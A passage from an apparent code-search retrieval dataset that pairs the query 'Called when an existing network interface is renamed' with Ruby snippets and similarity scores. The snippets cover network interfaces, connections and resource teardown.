"def detach_nic(mac)\n spec_hash = {}\n\n nic = nic(mac) rescue nil\n\n return if !nic || nic.no_exists?\n\n # Remove NIC from VM in the ReconfigVM_Task\n spec_hash[:deviceChange] = [\n :operation => :remove,\n :device => nic.vc_item\n ]\n begin\n @item.ReconfigVM_Task(:spec => spec_hash).wait_for_completion\n rescue StandardError => e\n error = \"Cannot detach NIC from VM: #{e.message}.\"\n\n if VCenterDriver::CONFIG[:debug_information]\n error += \"\\n\\n#{e.backtrace.join(\"\\n\")}\"\n end\n\n raise error\n end\n end",
"def remove_network_interface_properties\n properties = []\n properties << :SourceDestCheck\n properties << :Tags\n add_patch Patches::RemoveProperty.new 'AWS::EC2::NetworkInterface', properties\n end",
"def destroy\n @connection.destroy\n respond_to do |format|\n format.html { redirect_to device_interfaces_url(@interface.device), notice: 'Connection was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def remove\n unless name.nil?\n dhcp.remove self if dhcp\n VirtualBox.run_command ['VBoxManage', 'hostonlyif', 'remove', name]\n end\n self\n end",
"def cleanup\n docker.stop_container\n docker.delete_container\n end",
"def destroy_and_undefine\n # Shamb0_TODO_20200609=>POC/WT-bringup\n # old_net = @virt.lookup_network_by_name(@net_name)\n # old_net.destroy if old_net.active?\n # old_net.undefine\n rescue StandardError\n # Nothing to clean up\n end",
"def interface_cleanup(intf_name)\n cfg = get_interface_cleanup_config(intf_name)\n config(*cfg)\n end",
"def cleanup_network!\n # Abort if a private network has been defined\n machine.config.vm.networks.each do |cfg|\n return if cfg[0] == :private_network\n end\n machine.communicate.sudo(\"rm -f /etc/nixos/vagrant-network.nix\")\n end",
"def unregister_from_event_loop\n if @loop == :em\n @em_connection.unattach(false)\n else\n raise NotImplementedError.new(\"unregister_from_event_loop not implemented for #{@loop}\")\n end\n end",
"def disconnecting(clientPort)\n remove_client( clientPort )\n super\n end",
"def constraint_unlisten(listener)\n @constraint_listeners.remove listener\n end",
"def unbind\n puts \"Connection terminated #{@my_connection_index}) #{@my_address} - #{@signature}\"\n\n pp self.inspect if error?\n\n # TODO: Remove connection from $connection_list\n end",
"def destroy\n @ipranaccess_qosingressinterface.destroy\n respond_to do |format|\n format.html { redirect_to ipranaccess_qosingressinterfaces_url, notice: 'Ipranaccess qosingressinterface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def restart_interface(interface)\n # Force deletion, so directories actually get deleted.\n Puppet.info( \"Restarting interface %s\" % interface)\n system(\"ifdown %s\" % interface)\n sleep 15\n system(\"ifup %s\" % interface) || raise(\"Restarting interface failed!\")\n\n ip = get_facter_value(\"ipaddress_%s\" % interface)\n Puppet.info( \"IP address of %s is %s\" % [interface, ip])\n if ip.nil? || ip.empty?\n raise \"Restarted interface, %s, but it did not get a valid IP address.\" % interface\n end\n end",
"def local_disconnect(body)\n @connection.disconnect\n _network_init\n _notice \"disconnected\", :global\nend",
"def detach options = {}\n if attachment = self.attachment\n attachment.detach(options)\n else\n raise 'unable to detach network interface, no attachment present'\n end\n end",
"def destroy\n @ipranaccess_qosegressinterface.destroy\n respond_to do |format|\n format.html { redirect_to ipranaccess_qosegressinterfaces_url, notice: 'Ipranaccess qosegressinterface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def on_disconnect(client_id)\n @client_manager.remove(client_id)\n end",
"def destroy\n @cachefacebook_interface.destroy\n respond_to do |format|\n format.html { redirect_to cachefacebook_interfaces_url, notice: 'Cachefacebook interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def handle_stop(event)\n @bus.request 'containers', 'stopped', event: event.json, container: container_info(event.id)\n end",
"def destroy\n @client_face_ip.destroy\n end",
"def destroy\n @interface_sender.destroy\n respond_to do |format|\n format.html { redirect_to interface_senders_url }\n format.json { head :no_content }\n end\n end",
"def remove_listener(collection, query)\n live_query = @volt_app.live_query_pool.lookup(collection, query)\n live_query.remove_channel(@channel)\n end",
"def destroy\n @redcorporativa_interface.destroy\n respond_to do |format|\n format.html { redirect_to redcorporativa_interfaces_url, notice: 'Redcorporativa interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @networking = Networking.find(params[:id])\n @networking.destroy\n RemovedNetworkings.create(net_identifier: Integer(params[:id]))\n\n respond_to do |format|\n format.html { redirect_to networkings_url }\n format.json { head :no_content }\n end\n end",
"def disconnect(pos)\n @container_hash[pos].disconnect\n end",
"def remove_listener(listener)\n listeners.delete(listener)\n end",
"def detach_all_nics\n spec_hash = {}\n device_change = []\n\n nics_each(:exists?) do |nic|\n device_change << {\n :operation => :remove,\n :device => nic.vc_item\n }\n end\n\n return if device_change.empty?\n\n # Remove NIC from VM in the ReconfigVM_Task\n spec_hash[:deviceChange] = device_change\n\n begin\n @item.ReconfigVM_Task(:spec => spec_hash).wait_for_completion\n rescue StandardError => e\n error = \"Cannot detach all NICs from VM: #{e.message}.\"\n\n if VCenterDriver::CONFIG[:debug_information]\n error += \"\\n\\n#{e.backtrace}\"\n end\n\n raise error\n end\n end",
"def on_remove(&block)\n @onRemoveBlock = block\n end",
"def onRemoved(links)\n @set -= links\n end",
"def shutdown(container)\n OpenNebula.log_debug \"Shutdowning container: #{container.ctid}\"\n container.stop\n rescue RuntimeError => e\n raise OpenVzDriverError, \"Container #{container.ctid} can't be stopped. Details: #{e.message}\"\n end",
"def client_disconnected\n end",
"def on_disconnect(socket)\n Utils.logger.info(\"[Client Disconnected: #{socket.inspect}]\")\n end",
"def deregister_tunnel_connection(connection)\n @tunnel_connections.delete connection.connection_id\n control_connection = connection.control_connection\n @tunnel_connections_by_control[control_connection].delete connection\n end",
"def destroy\n run_callbacks :destroy do\n connection.delete(element_path, encode, self.class.headers)\n end\n end",
"def on_disconnected\n end",
"def get_interface_cleanup_config(intf_name)\n if platform == :ios_xr\n [\"no interface #{intf_name}\", \"interface #{intf_name} shutdown\"]\n else\n [\"default interface #{intf_name}\"]\n end\n end",
"def delete(name)\n configure([\"interface #{name}\", 'no ip address', 'switchport'])\n end",
"def unbind\n @connected = false\n @network.disconnected!\n\n super\n end",
"def host_down(host)\n end",
"def remove_server( host, port )\n server = get_server( host, port )\n Penctl.update_server( @pen, server[:slot], :address => '0.0.0.0', :port => 0 )\n !server_in_pool? host, port\n end",
"def delete(name)\n configure [\"interface #{name}\", 'no switchport']\n end",
"def teardown_server_networking(server)\n server.configured_interfaces.each do |interface|\n partition = interface.partitions.first\n\n next unless port = type.find_mac(partition[\"mac_address\"], :server => server)\n\n logger.info(\"Resetting port %s / %s to untagged vlan 1 and no tagged vlans\" % [server.puppet_certname, partition.fqdd])\n\n resource_creator.configure_interface_vlan(port, \"1\", false, true)\n end\n end",
"def disconnect(endpoint)\n API::invoke :zmq_disconnect, self, endpoint\n connections.delete endpoint\n info \"Unbound from #{endpoint}\"\n end",
"def close(interface)\n @pool.release\n end",
"def disown client_handler\n name = client_handler.name\n \n # No need to disown if they're not present.\n # ⎛I realize this is not strictly threadsafe. ⎞\n # ⎝At this point, I also don't particularly care.⎠\n connectedHandler = @circle.get name\n return unless client_handler.equal? connectedHandler\n \n @circle.remove name\n \n \n # Broadcast their departure:\n # (Name may be THE EMPTY STRING if the user never successfully logged in.)\n if name.length > 0\n self.send_public(\n TiscapTransmission.new(:']disconnected', name, nil),\n nil)\n end\n end",
"def deregister\n client.deregister_image(:image_id => id)\n nil\n end",
"def destroy(options={})\n response = service.delete_network(options.merge({'id'=> self.id}))\n service.jobs.new(response[\"deletenetworkresponse\"])\n end",
"def detach!\n i = interface\n i.detach\n print \"Waiting for ENI (#{i.id}) to detach...\"\n i.wait_until(max_attempts: 12,\n delay: 10,\n before_wait: proc { print('.') }) do |r|\n r.status == 'available'\n end\n puts 'OK'\n @interface = nil\n end",
"def destroy\n @shared_network.destroy\n respond_to do |format|\n format.html { redirect_to shared_networks_url, notice: \"Shared network was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def on_listener_stopped(event)\n @server_sig = nil\n end",
"def unsubscribe\n unregister\n end",
"def on_disconnect(connection, server, reason = nil)\n end",
"def remove_agent_interface(opts)\n opts = check_params(opts,[:agent_intf])\n super(opts)\n end",
"def disconnect\n raise NotImplementedError, \"#disconnect should be overridden by adapters\"\n end",
"def detach_network \r\n new_network_id = AlnNetworkId.get_network_id \r\n self.reassign_network_id(new_network_id)\r\n self.reload\r\n self.reassign_layer_id_for_network(new_network_id)\r\n self.reload\r\n end",
"def on_destroy_hooks\n # do the low cohorts last\n Rails.logger.info(\"Network: calling all role on_network_delete hooks for #{name}\")\n Role.all_cohorts_desc.each do |r|\n begin\n Rails.logger.info(\"Network: Calling #{r.name} on_network_delete for #{self.name}\")\n r.on_network_delete(self)\n rescue Exception => e\n Rails.logger.error \"Network #{name} attempting to cleanup role #{r.name} failed with #{e.message}\"\n end\n end\n end",
"def disconnect\n raise NotImplementedError, \"#disconnect should be overriden by adapters\"\n end",
"def unbind\n puts \"connection #{@connection.id.to_s} unbound\"\n begin\n unless !@registered\n self.unregister(@user.uuid)\n $ws_notifier.call(\"#{@user.uuid} just left the server\",\"disconnection\")\n else\n puts \"Never registered. So don't try to kill connection data\"\n end\n rescue\n puts \"Error (unbind). Couldn't delete from hash\"\n end\n puts \"Person is no longer connected\"\n end",
"def unregister(listener)\n listeners.delete(listener)\n end",
"def destroy\n @network_event.destroy\n respond_to do |format|\n format.html { redirect_to network_events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @iprannet_qosegressinterface.destroy\n respond_to do |format|\n format.html { redirect_to iprannet_qosegressinterfaces_url, notice: 'Iprannet qosegressinterface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_unused_host_only_networks\n end",
"def network_connection_closed network\n emit :connection_close, network\n end"
] |
[
"0.64137655",
"0.6342896",
"0.6318521",
"0.62706137",
"0.6184792",
"0.6056597",
"0.6035737",
"0.59510005",
"0.58854514",
"0.58816785",
"0.58694553",
"0.5846944",
"0.5814843",
"0.5814843",
"0.58148336",
"0.5783921",
"0.5779698",
"0.57446444",
"0.56855255",
"0.56731385",
"0.558999",
"0.55870676",
"0.55815923",
"0.557689",
"0.556143",
"0.5555972",
"0.55545276",
"0.55444133",
"0.55355257",
"0.5501086",
"0.54915386",
"0.5471602",
"0.546029",
"0.54552",
"0.5430105",
"0.5410063",
"0.5354921",
"0.53428084",
"0.53279066",
"0.5290569",
"0.5275947",
"0.52636224",
"0.5247469",
"0.52155447",
"0.5207703",
"0.51679265",
"0.5167609",
"0.5160881",
"0.5155866",
"0.5136215",
"0.5133268",
"0.51294106",
"0.5110684",
"0.5110272",
"0.5107625",
"0.50821596",
"0.5073187",
"0.5067626",
"0.5060707",
"0.505445",
"0.5043418",
"0.5042758",
"0.5042724",
"0.5037716",
"0.50263494",
"0.5004404",
"0.5003925",
"0.5001915",
"0.5000696",
"0.4997803",
"0.4997309",
"0.49950734",
"0.4984054",
"0.49611744",
"0.49604058",
"0.4960144",
"0.49578124",
"0.49567968",
"0.49565738",
"0.49549788",
"0.4953966",
"0.49511194",
"0.4947427",
"0.4945969",
"0.49450433",
"0.4935239",
"0.49336687",
"0.49334487",
"0.49329588",
"0.4932308",
"0.49317855",
"0.49301094",
"0.49190277",
"0.49146867",
"0.49095026",
"0.4900505",
"0.48967928",
"0.48965988"
] |
0.5668517
|
21
|
Called when an existing network interface is renamed
|
def rename_netif(opts)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rename_netif(netifs, netif, old_name)\n end",
"def rename_netif(netifs, netif, old_name)\n # Remove old network interface\n do_remove_netif(old_name)\n\n # Create the new interface\n do_create_netif(netif)\n end",
"def onRenamed(item, oldName, newName)\n @object.renamed(import(item), import(oldName), import(newName))\n end",
"def rename(new_name)\n raise 'to be implemented in subclass'\n end",
"def restart_interface(interface)\n # Force deletion, so directories actually get deleted.\n Puppet.info( \"Restarting interface %s\" % interface)\n system(\"ifdown %s\" % interface)\n sleep 15\n system(\"ifup %s\" % interface) || raise(\"Restarting interface failed!\")\n\n ip = get_facter_value(\"ipaddress_%s\" % interface)\n Puppet.info( \"IP address of %s is %s\" % [interface, ip])\n if ip.nil? || ip.empty?\n raise \"Restarted interface, %s, but it did not get a valid IP address.\" % interface\n end\n end",
"def phys_rename\n converge_it(\"Renaming #{phys_adapter.NetConnectionID} to #{phys_adapter_name}\") do\n phys_adapter.NetConnectionID = phys_adapter_name\n phys_adapter.Put_\n end\n end",
"def renamed(item, oldName, newName)\n end",
"def rename(old_name, new_name); end",
"def rename(old_name, new_name); end",
"def interface_name\n case @interface\n when nil then 'nil'\n when DNSSD::InterfaceAny then 'any'\n when DNSSD::InterfaceLocalOnly then 'local'\n when DNSSD::InterfaceUnicast then 'unicast'\n else @interface\n end\n end",
"def rename(dn, new_rdn, delete_old, *args)\n log_dispatch(:rename, dn, new_rdn, delete_old, *args)\n adapter.rename(dn, new_rdn.to_str, delete_old, *args)\n end",
"def nick_change(nick, new_nick)\n @names.delete(nick) if @names.include?(nick)\n @names << new_nick \n\n @bridge.add(:xmpp, :irc, SYSTEM_USER, \"#{nick} is now known as #{new_nick}\")\n end",
"def rename(event)\n @rename.each do |old, new|\n item = event.get(old)\n next if item.nil?\n event.set(new, item)\n event.remove(old)\n end\n end",
"def rename(file, newname)\n raise \"Sorry... 'AimsCalc rename' isn't implemented yet.\"\nend",
"def vm_rename\n requires :instance_uuid, :name\n service.vm_rename('instance_uuid' => instance_uuid, 'name' => name)\n end",
"def interface_name_interface_command(port)\n\t\tport.downcase\n\tend",
"def named_network_interfaces\n @named_network_interfaces ||= Hash[network_interfaces.map { |net| [net.name || net.network_interface_id, net] }]\n .reject { |k, v| !k or !v }\n end",
"def connect_network_interface(name)\n raise NotImplementedError\n end",
"def renamed?\n raise NotImplementedError.new(\"renamed() must be implemented by subclasses of AbstractVersionedFile.\")\n end",
"def rename_item(index_no, rename)\n index_exist(index_no)? index_exist_rename(index_no, rename) : conf_message(index_no, \"does not exist\")\n end",
"def rename(old_name, new_name)\n send_command([:rename, old_name, new_name])\n end",
"def rename(from, to)\n raise MogileFS::ReadOnlyError if readonly?\n\n @backend.rename :domain => @domain, :from_key => from, :to_key => to\n nil\n end",
"def register(interface)\n InvalidInterfaceError.check(interface)\n \n interfaces[interface.to_s.demodulize.underscore.to_sym] = interface\n end",
"def rename!(oldkey, newkey)\n timeout_retry(3, 3){\n write \"RENAME #{oldkey} #{newkey}\\r\\n\"\n status_code_reply\n }\n end",
"def change_name(new_name)\n Dropio::Resource.client.change_drop_name(self,new_name)\n end",
"def rename(oldname, newname)\n tagged_response(\"RENAME\", to_utf7(oldname), to_utf7(newname))\n end",
"def rename(oldkey, newkey)\n timeout_retry(3, 3){\n write \"RENAMENX #{oldkey} #{newkey}\\r\\n\"\n case integer_reply\n when -1\n raise RedisError, \"source key: #{oldkey} does not exist\"\n when 0\n raise RedisError, \"target key: #{oldkey} already exists\"\n when -3\n raise RedisError, \"source and destination keys are the same\"\n when 1\n true\n end\n }\n end",
"def change_nick(new_nick)\n nick new_nick\n end",
"def manage_phys_name\n phys_rename unless phys_adapter.NetConnectionID == phys_adapter_name\n end",
"def replace_names!(former,nname)\n # Replace owns name if required.\n if self.name == former then\n self.set_name!(nname)\n end\n # Recurse on the interface.\n self.each_input {|input| input.replace_names!(former,nname) }\n self.each_output {|output| output.replace_names!(former,nname) }\n self.each_inout {|inout| inout.replace_names!(former,nname) }\n # Recurse on the scope.\n self.scope.replace_names!(former,nname)\n end",
"def rename(name, new_name)\n @driver.renameRule([name], [new_name])\n end",
"def renamenx(old_name, new_name); end",
"def renamenx(old_name, new_name); end",
"def change_item_name(new_name:, **)\n self.name = new_name # This will generate the event!\n end",
"def rename(entry, new_name, &continue_on_exists_proc); end",
"def interface_add(network_interfaces, node_uid, interfaces)\n num1 = node_uid.split('-')[1].to_i\n if network_interfaces.has_value?(interfaces) == false\n network_interfaces[[num1]] = interfaces\n else\n num2 = network_interfaces.key(interfaces)\n network_interfaces.delete(num2)\n network_interfaces[num2.push(num1)] = interfaces\n end\n end",
"def TableRenameClicked\n unless getDBConn\n msgbox(_(\"Warning\"), _(\"Please open a database before trying to rename a table.\"), \"warning\")\n return false\n end\n\n # Getting the marked table and run some possible error-handeling.\n tables = treeview_getSelection(@tv_tables)\n if count(tables) <= 0\n msgbox(_(\"Warning\"), _(\"Please select the table, that you would like to rename.\"), \"warning\")\n return false\n end\n\n tables.each do |table|\n # Getting the table.new-name from the user.\n tablename = knj_input(_(\"New table name\"), _(\"Please enter the table.new-name:\"), table[0])\n break if tablename == \"cancel\"\n\n # If he has enteret the same name.\n if strtolower(tablename) == strtolower(table[0])\n msgbox(_(\"Warning\"), _(\"The entered name was the same as the current table-name.\"), \"warning\")\n break\n end\n\n # Checking if the table.new-name if valid.\n unless preg_match(\"/^[a-zA-Z][a-zA-Z0-9_]+/\", tablename, match)\n msgbox(_(\"Warning\"), _(\"The enteret name was not a valid table-name.\"), \"warning\")\n break\n end\n\n # Renaming table and refreshing treeviews.\n begin\n getDBConn.getTable(table[0]).rename(tablename)\n rescue => e\n knj_msgbox.error_exc(e)\n end\n end\n\n @dbpage.TablesUpdate()\n end",
"def rename(newkey)\n redis.rename @key, sanitize_key(newkey)\n\n @key = newkey\n ensure\n notify_changed\n end",
"def rename_table(name, new_name)\n @logger.unknown(\"ODBCAdapter#rename_table>\") if @trace\n @logger.unknown(\"args=[#{name}|#{new_name}]\") if @trace\n execute \"RENAME TABLE #{name} TO #{new_name}\"\n rescue Exception => e\n @logger.unknown(\"exception=#{e}\") if @trace\n raise ActiveRecord::ActiveRecordError, e.message\n end",
"def rename!(name, new_name, flags=nil, &callback)\n wait_for(rename(name, new_name, flags, &callback))\n end",
"def update_network_interfaces(name, address)\n default_nm = '255.255.255.0'\n (parts = address.split('.')).last.replace('1')\n default_gw = parts.join('.')\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'interfaces'), 'w') do |file|\n file.puts \"auto lo eth0\"\n file.puts \"iface lo inet loopback\"\n file.puts \"iface eth0 inet static\"\n file.puts \" address #{address}\"\n file.puts \" gateway #{conf['gateway'] || default_gw}\"\n file.puts \" netmask #{conf['netmask'] || default_nm}\"\n file.puts \" dns-nameservers #{Array(conf['nameserver'] || default_gw).join(' ')}\"\n end\n File.open(pinger = File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'if-up.d', '001base-pinger'), 'w') do |file|\n file.puts \"#!/bin/sh\"\n file.puts \"/bin/ping -c 1 #{local_ip_address} > /dev/null\"\n end\n File.chmod(0755, pinger)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'cron.d', 'base-pinger'), 'w') do |file|\n file.puts \"* * * * * root /bin/ping -c 1 #{local_ip_address} > /dev/null\"\n file.puts \"\"\n end\n hosts = File.readlines(hosts_path = File.join(KVM_MOUNT_POINT, name, 'etc', 'hosts'))\n File.open(hosts_path, 'w') do |file|\n file.write hosts.join(\"\\n\")\n file.puts \"127.0.0.1 #{name}\"\n end\nend",
"def rename(new_name, builtin_protection: true)\n if builtin_protection && builtin? then\n raise \"cannot rename builtin device without setting builtin_protection to false\"\n else\n runcmd 'rename', new_name\n @name = new_name\n end\n self\n end",
"def create_update(network_interface)\n begin\n OOLog.info(\"Updating NIC '#{network_interface.name}' \")\n start_time = Time.now.to_i\n promise =\n @client.network_interfaces.create_or_update(@rg_name,\n network_interface.name,\n network_interface)\n\n response = promise.value!\n result = response.body\n end_time = Time.now.to_i\n duration = end_time - start_time\n puts(\"operation took #{duration} seconds\")\n return result\n OOLog.info(\"NIC '#{network_interface.name}' was updated in #{duration} seconds\")\n result\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error creating/updating NIC. Exception: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error creating/updating NIC. Exception: #{ex.message}\")\n end\n end",
"def rename(file, destination)\n\t\tlogin_filter\n\t\tfile = namespace_path(file)\n\t\tdestination = namespace_path(destination)\n\t\t@agent.post(\"/cmd/rename#{file}\", {\"to_path\"=> destination, \"t\" => @token }).code == \"200\"\n\tend",
"def old_name; end",
"def rename(from, to)\n write(read(from))\n end",
"def rename_file\n\n end",
"def rename source, dest, options = {}\n command = [\"Rename\"]\n \n command << \"/REBOOTOK\" if options[:allow_reboot]\n \n command << source << dest\n \n append_instruction command\n \n end",
"def remove_network_interface_properties\n properties = []\n properties << :SourceDestCheck\n properties << :Tags\n add_patch Patches::RemoveProperty.new 'AWS::EC2::NetworkInterface', properties\n end",
"def rename(_old_team, _new_team)\n # stub\n end",
"def rename_enum(*) # :nodoc:\n end",
"def rename_vlan_dev\n converge_it(\"Renaming VLAN dev '#{new_resource.device} - Vlan #{new_resource.vlan}' back to '#{new_resource.device}'\") do\n shell_out = Mixlib::ShellOut\n .new(\"powershell.exe -Command \\\"Get-NetAdapter -Name '#{new_resource.device} - Vlan #{new_resource.vlan}' | Rename-NetAdapter -NewName '#{new_resource.device}'\\\"\")\n shell_out.run_command\n shell_out.error!\n end\n end",
"def renameable(attribute = :name)\n define_method :renamed do |renamer|\n send :\"with_#{attribute}\", renamer.new_name_of(send(attribute))\n end\n end",
"def rename new_name\n @name = new_name.to_sym\n end",
"def rename new_name\n @name = new_name.to_sym\n end",
"def rename_table(table_name, new_name)\n schema_cache.clear_data_source_cache!(table_name.to_s)\n schema_cache.clear_data_source_cache!(new_name.to_s)\n exec_query \"ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}\"\n rename_table_indexes(table_name, new_name)\n end",
"def versioned_interface(interface)\n loaded_interfaces[interface] ||= load_interface(interface)\n end",
"def restart(inode)\n logger.info(\"machine.restart\")\n raise Exceptions::NotImplemented\n end",
"def rename(old_name, new_name)\n move(old_name, new_name)\n end",
"def rename_rule(old_name, table, new_name)\n execute \"ALTER RULE #{quote_rule(old_name)} ON #{quote_table_name(table)} RENAME TO #{quote_rule(new_name)};\"\n end",
"def interface_change_allowed?(interface)\n method = node['fb_helpers']['interface_change_allowed_method']\n if method\n return method.call(node, interface)\n else\n return self.nw_changes_allowed? ||\n ['ip6tnl0', 'tunlany0', 'tunl0'].include?(interface) ||\n interface.match(Regexp.new('^tunlany\\d+:\\d+'))\n end\n end",
"def on_nick_already_in_use(connection, nick_name)\n end",
"def set_interface(name)\n\tif !name\n\t\tputs 'please enter audio output interface name.'\n\t\treturn -1\n\tend\n\n\tdevs = CoreAudio.devices\n\n\ttgt = devs.find{|dev| dev.name.index(name)}\n\tif !tgt\n\t\tp \"no match interface #{name}\"\n\t\treturn -1\n\tend\n\n\tCoreAudio.set_default_output_device(tgt)\n\tp \"select default output audio interface #{tgt.name}\"\nend",
"def rename_table(table_name, new_name, **options)\n validate_table_length!(new_name) unless options[:_uses_legacy_table_name]\n schema_cache.clear_data_source_cache!(table_name.to_s)\n schema_cache.clear_data_source_cache!(new_name.to_s)\n execute \"RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}\"\n rename_table_indexes(table_name, new_name)\n end",
"def rename(a, b)\n @@__name_sets[@@__defining][b] = :\"__#{a}\"\n @@__name_sets[:original][a] = :\"__#{a}\"\n\n class<<self\n self\n end.class_eval do\n alias_method :\"__#{a}\", a\n remove_method a\n end\n end",
"def rename_table(name, new_name) #:nodoc:\r\n execute \"EXECUTE PROCEDURE sp_RenameDDObject(#{quote_table_name(name)} , #{quote_table_name(new_name)}, 1 /* ADS_DD_TABLE_OBJECT */, 0 /* Rename File */)\"\r\n end",
"def interface?(ifname)\n\n\t\tip('link', 'list', ifname)\n\t\trescue Puppet::ExecutionFailure\n\t\t\twarnonce(\"Network interface \" + ifname + \" does not exist\")\n\n\tend",
"def define_network_interface(nic_ip_config)\n network_interface_props =\n Azure::ARM::Network::Models::NetworkInterfacePropertiesFormat.new\n network_interface_props.ip_configurations = [nic_ip_config]\n\n network_interface = Azure::ARM::Network::Models::NetworkInterface.new\n network_interface.location = @location\n network_interface.name = Utils.get_component_name(\"nic\",@ci_id)\n network_interface.properties = network_interface_props\n\n OOLog.info(\"Network Interface name is: #{network_interface.name}\")\n network_interface\n end",
"def rename_image_alias(old_alias, new_alias)\n post(image_alias_path(old_alias), { name: new_alias }).metadata\n end",
"def interface_name(version, service)\n version = version.to_sym\n service = service.to_sym\n return module_name(version, service) + \"::#{service}Interface\"\n end",
"def rename(asset_type, old_name, new_name)\n\n # Strip .json from the old_name and new_name\n old_name = old_name.end_with?(\".json\") ? old_name[0...-5] : old_name\n new_name = new_name.end_with?(\".json\") ? new_name[0...-5] : new_name\n\n vpcs_dir = Configuration.instance.vpc.vpcs_directory\n subnets_dir = Configuration.instance.vpc.subnets_directory\n route_tables_dir = Configuration.instance.vpc.route_tables_directory\n policies_dir = Configuration.instance.vpc.policies_directory\n network_acls_dir = Configuration.instance.vpc.network_acls_directory\n\n case asset_type\n when \"network-acl\"\n\n puts Colors.blue(\"Renaming Network ACL #{old_name} to #{new_name}\")\n\n # Update the Name tag and resave the file\n acl_local = Loader.network_acl(old_name)\n acl_local.tags[\"Name\"] = new_name\n json = JSON.pretty_generate(acl_local.to_hash)\n File.open(\"#{network_acls_dir}/#{new_name}.json\", \"w\") { |f| f.write(json) }\n\n # Update the tags in AWS\n acl_aws = EC2::named_network_acls[old_name]\n create_tags(acl_aws.network_acl_id, { \"Name\" => new_name})\n\n # Update the vpc references to it\n Loader.vpcs.each do |vpc|\n vpc.network_acls.collect! { |acl_name| if acl_name == old_name then new_name else acl_name end }\n\n json = JSON.pretty_generate(vpc.to_hash)\n File.open(\"#{vpcs_dir}/#{vpc.name}.json\", \"w\") { |f| f.write(json) }\n end\n\n # Update the subnet references to it\n Loader.subnets.each do |subnet|\n if subnet.network_acl == old_name\n subnet.network_acl = new_name\n\n json = JSON.pretty_generate(subnet.to_hash)\n File.open(\"#{subnets_dir}/#{subnet.name}.json\", \"w\") { |f| f.write(json) }\n end\n end\n\n # Delete the old file\n File.delete(\"#{network_acls_dir}/#{old_name}.json\")\n\n when \"policy\"\n\n puts Colors.blue(\"Renaming policy #{old_name} to #{new_name}\")\n\n # Rename the file\n File.rename(\"#{policies_dir}/#{old_name}.json\", \"#{policies_dir}/#{new_name}.json\")\n\n # Update the references to it in vpc endpoint\n Loader.vpcs.each do |vpc|\n\n endpoints_updated = false\n vpc.endpoints.each do |endpoint|\n if endpoint.policy == old_name\n endpoint.policy = new_name\n endpoints_updated = true\n end\n end\n\n if endpoints_updated\n json = JSON.pretty_generate(vpc.to_hash)\n File.open(\"#{vpcs_dir}/#{vpc.name}.json\", \"w\") { |f| f.write(json) }\n end\n end\n\n when \"route-table\"\n puts Colors.blue(\"Renaming route table #{old_name} to #{new_name}\")\n\n # Update the Name tag and resave the file\n rt_local = Loader.route_table(old_name)\n rt_local.tags[\"Name\"] = new_name\n json = JSON.pretty_generate(rt_local.to_hash)\n File.open(\"#{route_tables_dir}/#{new_name}.json\", \"w\") { |f| f.write(json) }\n\n # Update the tags in AWS\n rt_aws = EC2::named_route_tables[old_name]\n create_tags(rt_aws.route_table_id, { \"Name\" => new_name})\n\n # Update the vpc references to it\n Loader.vpcs.each do |vpc|\n vpc.route_tables.collect! { |rt_name| if rt_name == old_name then new_name else rt_name end }\n\n json = JSON.pretty_generate(vpc.to_hash)\n File.open(\"#{vpcs_dir}/#{vpc.name}.json\", \"w\") { |f| f.write(json) }\n end\n\n # Update the subnet references to it\n Loader.subnets.each do |subnet|\n if subnet.route_table == old_name\n subnet.route_table = new_name\n json = JSON.pretty_generate(subnet.to_hash)\n File.open(\"#{subnets_dir}/#{subnet.name}.json\", \"w\") { |f| f.write(json) }\n end\n end\n\n # Delete the old file\n File.delete(\"#{route_tables_dir}/#{old_name}.json\")\n when \"subnet\"\n puts Colors.blue(\"Renaming subnet #{old_name} to #{new_name}\")\n\n # Update the Name tag and resave the file\n subnet_local = Loader.subnet(old_name)\n subnet_local.tags[\"Name\"] = new_name\n json = JSON.pretty_generate(subnet_local.to_hash)\n File.open(\"#{subnets_dir}/#{new_name}.json\", \"w\") { |f| f.write(json) }\n\n # Update the tags in AWS\n subnet_aws = EC2::named_subnets[old_name]\n create_tags(subnet_aws.subnet_id, { \"Name\" => new_name})\n\n # Update the vpc references to it\n Loader.vpcs.each do |vpc|\n vpc.subnets.collect! { |subnet_name| if subnet_name == old_name then new_name else subnet_name end }\n\n json = JSON.pretty_generate(vpc.to_hash)\n File.open(\"#{vpcs_dir}/#{vpc.name}.json\", \"w\") { |f| f.write(json) }\n end\n\n # Delete the old file\n File.delete(\"#{subnets_dir}/#{old_name}.json\")\n when \"vpc\"\n puts Colors.blue(\"Renaming vpc #{old_name} to #{new_name}\")\n\n # Update the Name tag and resave the file\n vpc_local = Loader.vpc(old_name)\n vpc_local.tags[\"Name\"] = new_name\n json = JSON.pretty_generate(vpc_local.to_hash)\n File.open(\"#{vpcs_dir}/#{new_name}.json\", \"w\") { |f| f.write(json) }\n\n # Update the tags in AWS\n vpc_aws = EC2::named_vpcs[old_name]\n create_tags(vpc_aws.vpc_id, { \"Name\" => new_name})\n\n # Delete the old file\n File.delete(\"#{vpcs_dir}/#{old_name}.json\")\n end\n end",
"def change_info(new_name)\n self.nickname = new_name \n end",
